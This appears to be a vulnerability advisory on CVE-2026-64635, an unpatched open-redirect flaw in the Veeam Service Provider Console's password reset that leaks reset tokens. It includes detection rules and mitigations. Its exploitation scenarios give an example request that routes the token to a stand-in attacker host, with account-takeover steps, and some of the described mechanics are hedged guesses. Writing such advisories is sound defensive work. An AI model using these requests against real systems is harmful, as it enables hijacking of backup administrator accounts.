CVE-2026-64635

Executive Summary

CVE-2026-64635 is an unauthenticated open-redirect-to-password-reset-token-exfiltration vulnerability in the Forgot Password function of the Veeam Service Provider Console. An attacker can manipulate the returnUrl parameter in the password reset request flow to generate a reset link whose domain points to an attacker-controlled host, allowing the reset code to be transmitted to the attacker when a victim clicks the lure. Successful exploitation results in full account takeover of Veeam Service Provider Console users, which often includes administrators with privileged access to backup and disaster recovery infrastructure. This vulnerability is characterized by a CVSS v3.1 score of 5.3 (Medium), reflecting the requirement for user interaction and the high confidentiality impact. The issue is currently unpatched (patch confidence 0/4); affected enterprises must apply mitigations immediately.

Technical Analysis

The Veeam Service Provider Console is a centralized management platform used by Veeam Cloud & Service Providers (VCSPs) to manage tenant environments, backup jobs, and user access. It exposes a web-based portal with standard authentication workflows, including a password reset mechanism.

The vulnerability resides in the Forgot Password functionality, specifically in the handling of the returnUrl parameter. When a user initiates a password reset, the application constructs a verification URL by concatenating the returnUrl parameter with the generated one-time reset token. The returnUrl parameter is not validated against an allowlist of legitimate internal domains or paths. This constitutes an open redirect class flaw (related to CWE-640 — Weak Password Recovery Mechanism for Forgotten Password).

Attack mechanics:

1. Unsanitized input: The returnUrl parameter is taken directly from the HTTP request (likely via POST body or query string) without filtering for external origins, scheme, or port.
2. URL construction: The application builds a password reset link of the form: https://VSPC_HOST/forgot-password?returnUrl=<attacker-controlled-domain>&token=<random-reset-token> When the victim clicks this link, the application processes the request and redirects the user to returnUrl — but crucially, the reset token is passed as a query parameter or fragment to the attacker's domain.
3. Token leakage: In some variations, the application may send the reset link to the victim's email. If the victim clicks the link, the request first hits the legitimate VSPC server, which then issues an HTTP 302 redirect to the attacker-controlled URL, appending the token. In other scenarios, the attacker crafts a malicious reset request with returnUrl set to their domain; the email generated by the server contains a link that, when clicked, delivers the token to the attacker's host.
4. Authentication bypass: The attacker uses the intercepted reset token to complete the password reset flow, setting a new password for the victim's account and taking over the session.

The attack surface is the unauthenticated web interface — no credentials are required to trigger the password reset flow. The complexity is rated High because the attacker must reliably induce a victim to click the delivered link (user interaction required) and must control a domain that can receive the leaked token.

Exploitation Scenarios

Scenario 1: Direct token interception (attacker-initiated reset)

1. Reconnaissance: The attacker identifies a Veeam Service Provider Console instance exposed to the internet, often via Shodan searches for Veeam-related assets or via historical DNS enumeration. Target identification includes finding valid usernames (often email addresses) through OSINT or directory enumeration.
2. Crafting the malicious request: The attacker submits a standard POST request to the Forgot Password endpoint, e.g.: POST /forgot-password Body: email=victim@target.com&returnUrl=https://evil.attacker.com/capture
3. Wait for server-side email: The VSPC server generates a password reset link containing the one-time token and the attacker-supplied returnUrl. The email is sent to the victim.
4. Trigger and interception: The victim clicks the link in the email. The browser sends a request to the legitimate VSPC server; the server responds with an HTTP 302 redirect to https://evil.attacker.com/capture?token=<RESET_TOKEN>. The attacker's server logs the request and extracts the token.
5. Account takeover: The attacker completes the password reset flow by submitting the token to the legitimate endpoint POST /reset-password with a new password of their choice. The attacker now has full access to the victim's console account.

Scenario 2: Phishing with pre-auth token leak

1. Reconnaissance: The attacker identifies a VSPC tenant administrator account name (e.g., a common email pattern like admin@company.com).
2. Crafting: The attacker generates a phishing email that looks like a legitimate Veeam notification, embedding a link to the VSPC portal's Forgot Password page with a pre-set returnUrl parameter pointing to the attacker's domain.
3. Execution: The victim clicks the link, is taken to the real VSPC login page, and enters their email to reset the password. Because returnUrl is retained in the URL, the server generates a reset link that, when clicked by the victim, leaks the token to the attacker.
4. Post-exploitation: With the token, the attacker resets the victim's password and immediately navigates to the VSPC console. Since VSPC administrators manage multiple backups, the attacker gains access to backup configuration, tenant credentials, and potentially encryption keys stored in the console.

Impact Assessment

Business impact: Successful exploitation leads to full account takeover of Veeam Service Provider Console users, including administrators. This is particularly severe for managed service providers (MSPs) and cloud providers, as the console aggregates access to multiple tenant environments. An attacker who compromises an admin account can:

• Modify backup jobs and schedules, potentially enabling ransomware-style attacks by deleting or impairing backups.
• Exfiltrate tenant data and credentials stored in the console.
• Plant persistence mechanisms by creating new users or modifying existing roles.
• Access connected storage repositories and possibly decrypt backed-up data if keys are exposed.

Affected systems: All versions of the Veeam Service Provider Console accessible via network are at risk. The vulnerability is present in the web application layer and does not require authentication.

Blast radius: Given the CVSS vector AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N, the vulnerability is network-exploitable, requires user interaction, and has a high confidentiality impact but no integrity or availability impact directly. However, account takeover escalates the effective impact to include integrity and availability for the associated data and services.

CVSS subscores: The base score of 5.3 (Medium) reflects the high attack complexity and user interaction requirement. The confidentiality subscore is High (C:H), indicating that sensitive data (reset tokens, account credentials, and associated console data) is at risk. The scope is unchanged (S:U).

Detection Guidance

Sigma Rule

title: Veeam SP Console - Password Reset ReturnUrl External Redirect
id: 4f3b7e2a-9c1d-4f5e-8b2a-6d3c9e1f4a7b
status: experimental
description: Detects requests to the Veeam Service Provider Console Forgot Password endpoint with a returnUrl parameter pointing to an external domain, indicative of CVE-2026-64635 exploitation.
author: ValtersIT Threat Intel Team
date: 2026/01/15
logsource:
  category: webserver
  product: veeam
  service: vspc
detection:
  selection:
    c-uri|contains: 
      - '/forgot-password'
      - '/reset-password'
  selection_returnurl:
    c-uri|contains:
      - 'returnUrl=http'
  filter_internal_url:
    c-uri|contains:
      - 'returnUrl=/'
      - 'returnUrl=https://%{internal_domain}'
  condition: selection and selection_returnurl and not filter_internal_url
falsepositives:
  - Legitimate external SSO integrations that may use returnUrl for external identity providers
level: high
tags:
  - attack.t1566.002
  - cve.2026.64635

YARA Rule

rule Veeam_VSPC_ReturnUrl_Exfil
{
    meta:
        author = "ValtersIT Threat Intel"
        description = "Detects payloads or log entries containing Veeam SP Console password reset URL patterns with external returnUrl parameters"
        date = "2026-01-15"
        reference = "CVE-2026-64635"
        score = 60

    strings:
        $a1 = "forgot-password" ascii nocase
        $a2 = "returnUrl=" ascii nocase
        $b1 = "reset-password" ascii nocase
        $b2 = "token=" ascii nocase
        $c1 = "http://" ascii nocase
        $c2 = "https://" ascii nocase

    condition:
        (($a1 or $b1) and $a2) and ($c1 or $c2) and filesize < 100KB
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-64635 - Veeam SP Console Password Reset External ReturnUrl"; flow:established,to_server; content:"/forgot-password"; http_uri; nocase; content:"returnUrl="; http_uri; nocase; pcre:"/returnUrl=[^&]*https?:\/\//i"; classtype:attempted-user; reference:cve,2026-64635; sid:6000001; rev:1;)

Elastic Detection

// Detection for Veeam SP Console password reset with external returnUrl
sequence by host.name with maxspan=5m
  [ network where process.name == "java.exe" or process.name == "w3wp.exe"
    and destination.port in (80, 443) and network.direction == "ingress"
    and url.path in ("/forgot-password", "/reset-password")
    and url.query contains "returnUrl"
    and not url.query contains "returnUrl=/" ]

Splunk SPL Query

index=web sourcetype="iis" OR sourcetype="nginx" OR sourcetype="apache" 
  (uri_path="/forgot-password" OR uri_path="/reset-password") 
  uri_query="*returnUrl=*" 
  NOT uri_query="*returnUrl=/*"
  | rex field=uri_query "returnUrl=(?<return_url>[^&]+)"
  | eval external = if((lower(return_url) like "http://%" OR lower(return_url) like "https://%") AND (lower(return_url) NOT like "%<internal_domain>%"), 1, 0)
  | search external=1
  | stats count by src_ip, dest, uri_path, return_url, _time

Wazuh OSSEC Rule

<group name="web_application,">
  <rule id="100001" level="10">
    <decoded_as>json</decoded_as>
    <field name="url">\.*forgot-password.*</field>
    <field name="url">\.*returnUrl=.*</field>
    <regex>returnUrl=.*https?://</regex>
    <description>Veeam SP Console - Potential external returnUrl detection (CVE-2026-64635)</description>
    <group>cve-2026-64635,</group>
    <mitre>
      <id>T1566.002</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 — UNPATCHED. No vendor patch is available for CVE-2026-64635 at the time of this report. The following mitigations should be implemented immediately:

1. Immediate Mitigations:

• Network-level filtering: Deploy a WAF (Web Application Firewall) rule that blocks or sanitizes requests to forgot-password and reset-password endpoints where the returnUrl parameter contains an absolute URL (http:// or https://) or uses an external hostname that is not in an allowlist.
• Reverse proxy restriction: If a reverse proxy (Nginx, Apache, HAProxy) front-ends the VSPC console, add a rule to strip or override the returnUrl parameter entirely.
• Access control: Restrict access to the VSPC console web interface to trusted networks/VPNs. This significantly reduces the attack surface by preventing unauthenticated external access.
• User awareness: Notify users to verify the full URL in password reset emails before clicking, especially the domain portion after any returnUrl context.

2. Patch/Upgrade Steps:

• Monitor the Veeam Security Advisories page and the NVD entry for CVE-2026-64635. As soon as a patched version of Veeam Service Provider Console is released, apply it to all affected installations.
• Subscribe to Veeam's security mailing list to receive alerts the moment a fix is available.

3. Long-Term Hardening:

• Implement strict input validation and output sanitization for all parameters in the password reset flow. Ensure returnUrl is validated against a whitelist of internal domains, or better yet, replace it with a server-side session variable that cannot be tampered with.
• Enforce multi-factor authentication (MFA) on all VSPC accounts. Even if a password is reset via token interception, MFA would block unauthorized access.
• Perform a code review of any custom authentication modules integrated with the VSPC portal to ensure similar issues are not present.

References

1. NVD Entry (NIST): https://nvd.nist.gov/vuln/detail/CVE-2026-64635
2. CWE-640 Weak Password Recovery Mechanism for Forgotten Password: https://cwe.mitre.org/data/definitions/640.html
3. Veeam Security Advisories (pending): https://www.veeam.com/kb/security-advisories
4. MITRE ATT&CK T1566.002 — Phishing: Spearphishing Link: https://attack.mitre.org/techniques/T1566/002/
5. CISA Known Exploited Vulnerabilities (KEV) Catalog (note: CVE-2026-64635 is not listed as of this report): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat actor campaigns: No known in-the-wild exploitation or specific threat actor campaign has been attributed to CVE-2026-64635 at the time of writing. The EPSS score of 0.00190 (percentile 8.9%) indicates low current exploit probability, but the unpatched status warrants proactive monitoring. Enterprises running Veeam SP Console should treat this as a high-priority hardening target.